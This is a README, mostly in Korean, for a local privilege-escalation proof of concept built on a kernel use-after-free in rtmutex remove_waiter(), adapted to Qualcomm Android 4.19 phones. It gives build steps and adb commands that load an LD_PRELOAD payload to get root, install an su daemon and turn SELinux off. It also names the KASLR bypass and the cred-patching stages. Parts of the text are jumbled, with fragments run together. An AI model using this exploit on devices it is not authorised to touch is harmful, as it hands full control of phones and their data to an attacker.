
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF 로컬 루트 PoC, Qualcomm Android 4.19 커널(Redmi K40 / Snapdragon 870 클래스)용으로 조정됨, LD_PRELOAD 기반
로컬 권한 상승 — CVE-2026-43499 악용: rtmutex
remove_waiter() 버그로 인해 struct rt_mutex_waiter가
대기자의 커널 스택에 매달린 채 남습니다 (kernel/locking/rtmutex.c, CWE-416 use-after-free).
NebuSec/CyberMeowfia에서
(IonStack/CVE-2026-43499, Apache-2.0)
Qualcomm Android 4.19.x 벤더 커널 계열용으로
각색했습니다.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() 프록시 잠금 롤백이 remove_waiter()를 호출하는데,
waiter->task 대신 current를 대상으로 동작합니다 — pi_lock 없이 rb-트리 디큐가
수행되고, pi_blocked_on이 매달린 채 남아 커널 스택 UAF로 이어집니다.
5.10/5.15/6.1/6.6/6.12/6.18/7.0 수정 버전까지 영향을 받았으며, 4.19에는
백포트가 없어 (EOL) 4.19.157-perf가 영향을 받습니다.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file은 .read/.write
fops 슬롯에 배치되며 (4.19 시그니처), 읽기 프리미티브는 단순화된
count/page/ppos=0 가짜 버퍼 레이아웃을 사용합니다/dev/ashmem)가 없으므로 — 접두사 길이는 0입니다selinux_blob_sizes는 4.19에 존재하지 않습니다 → 직접 cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp에는 filter_count가 없습니다ASHMEM_MISC_FOPS = miscdevice.fops 슬롯 (ashmem_misc + 0x10)Android NDK를 사용하는 Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
출력물: prebuilt/preload.so (LD_PRELOAD 페이로드) 및 내장된
su_daemon PIE.
ADB 셸이 필요합니다 (일반적인 권한 없는 adb shell로 충분합니다 — 익스플로잇은
완전히 비권한 상태로 실행되며 스스로 권한을 상승시킵니다).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
선택적 원라이너 변형:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
모든 pr_* 줄은 즉시 write()+fsync()를 사용해 디스크에 미러링되므로,
그 흔적이 커널 패닉/재부팅 후에도 유지됩니다:
/sdcard/Download/log_<timestamp>.txt
/sdcard를 사용할 수 없는 경우 대체 경로: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
주요 로그 마커:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — 페이로드 로드됨slide-kaslr-ok ... base=... — KASLR 베이스 복구됨pipe-physrw-summary ... root=1 ... — 물리적 RW 설치됨uid_before=... uid_after=0 ... selinux=1->0 — creds 패치됨UNVERIFIED를 출력합니다 — 이 로그를
사용해 기기별로 조정해야 하는 단계입니다.target.h에 플래그로 표시되고 런타임에
UNVERIFIED로 기록됩니다. fsync 로그를 사용해 기기에서 반복 조정하세요.CONFIG_STATIC_USERMODEHELPER=y는 modprobe 경로 트릭을
비활성화합니다. 기본 경로는 직접 cred 패치입니다./proc/kallsyms)와 /proc/slabinfo를 통해
정확한 빌드의 오프셋 정확성을 검증하세요.Apache-2.0 (업스트림: NebuSec/CyberMeowfia). 보안 연구 및 승인된 기기 루팅 전용입니다. 소유한 하드웨어에서만 사용하세요.